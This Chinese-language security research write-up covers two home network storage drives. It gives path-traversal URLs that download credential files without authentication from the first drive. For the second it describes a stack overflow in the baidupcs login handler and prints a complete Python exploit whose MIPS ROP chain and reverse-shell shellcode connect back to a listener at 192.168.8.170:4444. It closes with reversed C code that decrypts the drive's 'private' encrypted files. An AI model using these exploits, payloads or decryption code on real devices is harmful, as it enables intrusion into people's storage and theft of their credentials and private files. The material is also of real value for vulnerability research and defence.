前言
智能设备的加密安全篇
某家存储网络硬盘的漏洞
这是一款带网口的家庭存储硬盘,可以通过手机 app 进行远程管理。
设备与客户端通信
这款硬盘使用 TUTK IOTC 平台进行 p2p 通信。接上网线后,只需要在客户端输入设备的 UID 和管理员设置的密码,就可以远程连接管理硬盘数据。TUTK IOTC平台的 p2p 建立连接后,设备向客户端发送数据的流程图如下,首先初始化 iotc 平台,随后创建 login 线程,监听客户端的连接,会话建立后,向客户端发送数据。
而作为设备与客户端通信的进程为 p2pIotc,拖到 ida 中分析,sub_402E64 函数通过读取 /etc/config/tunnelid.dat 文件来得到设备的 UID,在函数 sub_402AF8 读取 /etc/web_pwd.txt 文件得到管理密码,用来用户登入验证。
隐私空间漏洞
这款硬盘还设立了隐私空间,也就是加密文件夹,加密文件后将文件移动到加密目录下。当通过app客户端成功登录硬盘时,首先 fs_httpd 进程会读取配置文件“/etc/private_dir_pwd“中的保存隐私空间的密码,用于之后打开隐私空间作密码校验。但是通过在web客户端或网络文件夹登录时访问这个隐私空间时,却形同虚设,与普通文件夹无区别。
getFile.cgi 任意文件下载
在 /www/cgi-bin/get/ 目录下,其中有个 getFile.cgi 的 cgi 网关接口文件,在没有登入验证的情况下,内网中可直接下载硬盘的任意文件,代码如下
在同内网中,在web浏览器中访问设备:
http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/config/tunnelid.dat
http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/web_pwd.txt
http://192.168.8.177/cgi-bin/get/getFile.cgi?/../../../../../../../../../etc/private_dir_pwd
可直接下载配置文件 tunnelid.dat 、web_pwd.txt 和 private_dir_pwd ,用于远程登入。
某智能加密硬盘的漏洞
这是一款可连接 wifi 且带网口的移动加密硬盘,手机可以通过 app 进行远程管理,还可以通过 app 单独设置密码加密隐私文件。
攻击思路
第一步:硬盘的工作原理
下载智能硬盘手机 app,登录 app 远程连接硬盘,通过路由器进行抓包,发现其由 80 端口与手机 app 通信。
通过串口调试进入 shell,运行 netstat 命令查看系统端口进程,其中 80 端口进程为 lighttpd。分析后找到其位于/etc/lighttpd/ 目录下的配置文件 lighttpd.conf,如图 3 可以看到其中 include 包含了当前 conf.d/ 目录下的 proxy.conf 文件。
将 proxy.conf 文件的代理服务整理如下:
url |
port |
进程 |
描述 |
protocol.csp |
81 |
ioos |
App 交互 |
system.csp |
81 |
ioos |
系统 |
netip.csp |
81 |
ioos |
|
sysfirm.csp |
81 |
ioos |
|
index.csp |
81 |
ioos |
|
dldlink.csp |
81 |
ioos |
|
error.csp |
81 |
ioos |
|
upload.csp |
9082 |
|
上传 |
dlna.csp |
8200 |
minidlna |
DLNA共享 |
control.csp |
8201 |
control |
视频音频控制 |
dropbox.csp |
8300 |
|
dropbox云存储 |
baidupcs.csp |
8400 |
baidupcs |
百度网盘 |
p2p.csp |
8212 |
|
p2p远程通信 |
download.csp |
82 |
|
下载 |
vpn.csp |
8500 |
|
vpn |
第二步:漏洞挖掘
将 baidupcs(百度网盘)作为测试目标,使用fuzz测试登录网盘发现了 crash。
baidupcs 进程打印出如下信息,最终出现了 Segmentation fault 错误
定位溢出代码
打开 ida,搜索上面打印的调试信息的关键字,如 getvaluefrom_url。
关键代码 sub_43B230 如下,0x43b5dc 处调用 get_value_from_url 函数获取 username 的值时,由于缓冲区只有 1028 字节, 在对长度未进行检查的情况下,将获取username值直接放入缓存区造成溢出。
第三步:漏洞利用
我们需要跳转到堆栈中执行 shellcode,结合 mipsrop ida 插件,现在开始构造 rop
先修改寄存器的值
mipsrop.find(“lw $ra, “) 修改寄存器
找到 sleep 函数的参数
mipsrop.find(“li $a0,1”) 作为 sleep 的参数 $a0 赋值,其中 $s4 做为下一个 gadget 的地址
调用 sleep 函数
接着调用 sleep 函数刷新缓存,并在返回后执行下一个 gadget ($ra)。使用 mipsrop.tail(),准备跳转 $s1 为 sleep 的地址,这里填充 ra 寄存器,地址 0x1E8AC 执行 0x28 + var_4($sp) 是将执行后 sleep 返回的地址。
运行 shellcode
使用 mipsrop.stackfinder() 将 shellcode 的地址放入寄存器 s0
mipsrop.find(“move $t9,$s0”) 跳转到 s0 去执行
创建exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245
| import sys import string import socket import struct import urllib, urllib2, httplib class MIPSPayload: BADBYTES = [0x00] LITTLE = "little" BIG = "big" FILLER = "A" BYTES = 4 NOP = "\x27\xE0\xFF\xFF" def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES): self.libase = libase self.shellcode = "" self.endianess = endianess self.badbytes = badbytes def Add(self, data): self.shellcode += data def Address(self, offset, base=None): if base is None: base = self.libase return self.ToString(base + offset) def AddAddress(self, offset, base=None): self.Add(self.Address(offset, base)) def AddBuffer(self, size, byte=FILLER): self.Add(byte * size) def AddNops(self, size): if self.endianess == self.LITTLE: self.Add(self.NOP[::-1] * size) else: self.Add(self.NOP * size) def ToString(self, value, size=BYTES): data = "" for i in range(0, size): data += chr((value >> (8*i)) & 0xFF) if self.endianess != self.LITTLE: data = data[::-1] return data def Build(self): count = 0 for c in self.shellcode: for byte in self.badbytes: if c == chr(byte): raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte)) count += 1 return self.shellcode def Print(self, bpl=BYTES): i = 0 for c in self.shellcode: if i == 4: print "" i = 0 sys.stdout.write("\\x%.2X" % ord(c)) sys.stdout.flush() if bpl > 0: i += 1 print "\n" class HTTP: HTTP = "http" HTTPS = "https" def __init__(self, host, proto=HTTP, verbose=False): self.host = host self.proto = proto self.verbose = verbose def Encode(self, string): return urllib.quote_plus(string) def Send(self, uri, headers={}, data=None, response=False): html = "" if uri.startswith('/'): c = '' else: c = '/' url = '%s://%s%s%s' % (self.proto, self.host, c, uri) if self.verbose: print url if data is not None: data = urllib.urlencode(data) url = url + data req = urllib2.Request(url, data, headers) rsp = urllib2.urlopen(req) if response: html = rsp.read() return html def makepayload(host,port): print '[*] prepare shellcode', hosts = struct.unpack('<cccc',struct.pack('<L',host)) ports = struct.unpack('<cccc',struct.pack('<L',port)) mipselshell ="\xfa\xff\x0f\x24" mipselshell+="\x27\x78\xe0\x01" mipselshell+="\xfd\xff\xe4\x21" mipselshell+="\xfd\xff\xe5\x21" mipselshell+="\xff\xff\x06\x28" mipselshell+="\x57\x10\x02\x24" mipselshell+="\x0c\x01\x01\x01" mipselshell+="\xff\xff\xa2\xaf" mipselshell+="\xff\xff\xa4\x8f" mipselshell+="\xfd\xff\x0f\x34" mipselshell+="\x27\x78\xe0\x01" mipselshell+="\xe2\xff\xaf\xaf" mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c" mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35" mipselshell+="\xe4\xff\xae\xaf" mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c" mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35" mipselshell+="\xe6\xff\xae\xaf" mipselshell+="\xe2\xff\xa5\x27" mipselshell+="\xef\xff\x0c\x24" mipselshell+="\x27\x30\x80\x01" mipselshell+="\x4a\x10\x02\x24" mipselshell+="\x0c\x01\x01\x01" mipselshell+="\xfd\xff\x11\x24" mipselshell+="\x27\x88\x20\x02" mipselshell+="\xff\xff\xa4\x8f" mipselshell+="\x21\x28\x20\x02" mipselshell+="\xdf\x0f\x02\x24" mipselshell+="\x0c\x01\x01\x01" mipselshell+="\xff\xff\x10\x24" mipselshell+="\xff\xff\x31\x22" mipselshell+="\xfa\xff\x30\x16" mipselshell+="\xff\xff\x06\x28" mipselshell+="\x62\x69\x0f\x3c" mipselshell+="\x2f\x2f\xef\x35" mipselshell+="\xec\xff\xaf\xaf" mipselshell+="\x73\x68\x0e\x3c" mipselshell+="\x6e\x2f\xce\x35" mipselshell+="\xf0\xff\xae\xaf" mipselshell+="\xf4\xff\xa0\xaf" mipselshell+="\xec\xff\xa4\x27" mipselshell+="\xf8\xff\xa4\xaf" mipselshell+="\xfc\xff\xa0\xaf" mipselshell+="\xf8\xff\xa5\x27" mipselshell+="\xab\x0f\x02\x24" mipselshell+="\x0c\x01\x01\x01" print 'ending ...' return mipselshell if __name__ == '__main__': libc_base = 0x77c1f000 sip='192.168.8.170' sport = 4444 host = socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0]) shellcode = makepayload(host,sport) try: ip = sys.argv[1] except: print "Usage: %s <target ip>" % sys.argv[0] sys.exit(1) payload = MIPSPayload(endianess="little", badbytes=[]) payload.AddBuffer(1036) payload.AddAddress(0x49818, base=libc_base) payload.AddAddress(0x0047E758) payload.AddAddress(0x0047F758) payload.AddAddress(0x00480758) payload.AddBuffer(0xC) payload.AddBuffer(0x4) payload.AddAddress(0x4E320, base=libc_base) payload.AddBuffer(0x4) payload.AddBuffer(0x4) payload.AddAddress(0x1E8AC, base=libc_base) payload.AddBuffer(0x4) payload.AddBuffer(0x4) payload.AddBuffer(0x4) payload.AddBuffer(0x4) payload.AddAddress(0x4F970, base=libc_base) payload.AddBuffer(0x1C) payload.AddAddress(0x4AC20, base=libc_base) payload.AddBuffer(0x4) payload.AddAddress(0x16BC8, base=libc_base) payload.AddBuffer(0x4) payload.AddBuffer(0xC) payload.Add(shellcode) pdata = { 'opt' : 'Login', 'state' : 'login', 'username' : payload.Build() } try: HTTP(ip).Send('baidupcs.csp', data=pdata) except httplib.BadStatusLine: print "Payload delivered." except Exception, e: print "Payload delivery failed: %s" % str(e)
|
漏洞存在的原因在于,调用 getvaluefrom_url 函数时,缺少对 username 等值进行长度检查校验,而直接写入缓冲区中,导致了栈溢出。通过漏洞攻击者可直接获取到远程管理的密码,进行登入操作。
第四步:文件加密分析
使用手机 app 进行文件加解密,然后通过路由器抓取数据包,其加解密 url path为 protocol.csp,根据前面整理的表格,其使用的端口是 81 端口。接下来分析此时监听 81 端口的所属进程 ioos。
文件加密和解密数据包使用 wireshark 分析,再通过数据包的关键信息定位到加解密位置。
开始调试前,我们先查看一下加密前后的文件
创建一个 test.txt 文件,并写入内容: abc
通过硬盘 app 进行加密,key 为 123,加密后文件加上了 .enc
后缀,查看 /tmp/ioos.log 日志信息
查看 test.txt.enc 文件,其中尾部 202cb962ac59075b964b07152d234b70
是 test.txt 加密key 123 的 md5 值(0x20字节),而前面“fe2889d36e2045f4a3d362445aaaf72e”(0x20字节)接下代码中会遇到。
gdb + ida 动态调试
将编译 mipsel 架构 gdb 后生成的 gdbserver 拷贝到硬盘 /tmp 目录。
远程附加调试
在关键函数 sub_414260 处下断点,此函数参数一为解密文件路径,为解密key的md5值
比较成功后,调用 stat64 返回文件信息
判断文件字节数是否大于 2k (0x2000字节),若小于0x2000字节,则拷贝 md5 值的前 16 位
打开文件,判断文件大小是否小于 0x41,然后移动文件指针至 0x3 字节处,也就是密文(0x3字节)后面的内容处
strncmp 比较密文尾部前0x20字节是否为 “fe2889d36e2045f4a3d362445aaaf72e”,查看前面的.enc
文件可知,这正是 md5 值前面的 0x20 字节。紧接着比较 md5 值。
调用 ftruncate64 打开的解密文件截断到指定的长度(0x3)。
读取密文,然后调用解密函数 sub_404E28。
加解密函数 sub_404E28,首先建立 0x0 – 0xff 的数组,利用 md5 值前 16 位生成 0x100 位字节数组。
然后通过生成的字节数组对文件内容进行加密或解密。
解密成功
将上面的加解密函数其转换为 c 语言代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184
| #include <stdio.h> #include <stdlib.h> #include <cstdint> #include <string.h> #include <direct.h> #include <sys/stat.h> #define FLAG "fe2889d36e2045f4a3d362445aaaf72e"
int enc_fun(char* pContent, char* pKey, uint32_t uFileLen) { uint8_t arr[0x100]; for (uint32_t i = 0; i < 0x100; ++i) arr[i] = i; uint32_t a0 = 0, t0 = 0, t2 = 0, len = 0, a1 = 0, a2 = 0, LO = 0, HI = 0; uint32_t v1 = (uint32_t)arr, a3 = (uint32_t)arr; uint32_t t1 = (uint32_t)arr + 0x100; while (a3 != t1) { a1 = pKey[a0]; a0++; len = strlen(pKey); LO = a0 / len; HI = a0 % len; a2 = *((uint8_t*)a3); a3++; a1 += a2; a1 += t0; a1 &= 0xff; t0 = a1 & 0xff; a1 = v1 + a1; t2 = *((uint8_t*)a1); *((uint8_t*)a3 - 1) = t2; *((uint8_t*)a1) = a2; a1 = HI; a0 = a1 & 0xff; } bool isSuccessful = false; uint64_t v0 = 0, s1 = uFileLen; uint32_t s2 = (uint32_t)pContent; a2 = 0, a1 = 0; while (1) { if (v0 < s1) a0 = 1; else a0 = 0; if (a0) { a0 = a1 + 1; a0 &= 0xff; a1 = a0 & 0xff; a0 = v1 + a0; a3 = *((uint8_t*)a0); a2 += a3; a2 &= 0xff; t0 = v1 + a2; t1 = *((uint8_t*)t0); *((uint8_t*)a0) = t1; *((uint8_t*)t0) = a3; a0 = *((uint8_t*)a0); t0 = s2 + v0; a3 += a0; a3 &= 0xff; a0 = *((uint8_t*)t0); a3 = *((uint8_t*)v1 + a3); v0++; a3 = a0 ^ a3; *((uint8_t*)t0) = a3; } else { return true; } } return false; } int enc_file(char* pfilename) { FILE* pFile = NULL;
if (fopen_s(&pFile, pfilename, "rb") != 0) { printf("打开文件失败\n"); } fseek(pFile, 0, SEEK_END); uint64_t Length = ftell(pFile); struct _stat64 info; _stat64(pfilename, &info); uint64_t fileSize = info.st_size; printf("该文件一共 %lld 字节\n", fileSize); uint64_t fileLen = fileSize - 0x40; char flag[0x21] = { 0 }; fseek(pFile, fileLen, SEEK_SET); fread_s(flag, 0x21, 0x20, 1, pFile); if (strncpy_s(flag, FLAG, 0x20)) { printf("格式错误\n"); return -1; } char md5[0x21] = { 0 }; uint32_t encSize = 0; bool enctail = false; if (fileLen > 0x2000) { fread_s(md5, 0x21, 0x20, 1, pFile); encSize = 0x1000; enctail = true; } else { fread_s(md5, 0x21, 0x10, 1, pFile); encSize = fileLen; } printf("md5: %s\n", md5); char* content = NULL; content = (char*)calloc(fileLen + 1, sizeof(char)); if (content == NULL) { return 0; } fseek(pFile, 0, SEEK_SET); fread_s(content, fileLen + 1, fileLen, 1, pFile); fclose(pFile); if (!enc_fun(content, md5, encSize)) { printf("解密失败\n"); return -1; } if (enctail) { char* tailcont = content + fileLen - 0x1000; if (!enc_fun(tailcont, md5, encSize)) { printf("解密失败\n"); return -1; } } int nlen = strlen(pfilename); pfilename[nlen - 4] = NULL; FILE* pfile = NULL; if (fopen_s(&pfile, pfilename, "wb") != 0) { printf("创建文件失败\n"); return -1; } fwrite(content, fileLen, 1, pfile); fclose(pfile); free(content); printf("解密文件写入成功!!!\n\n"); return 0; }
|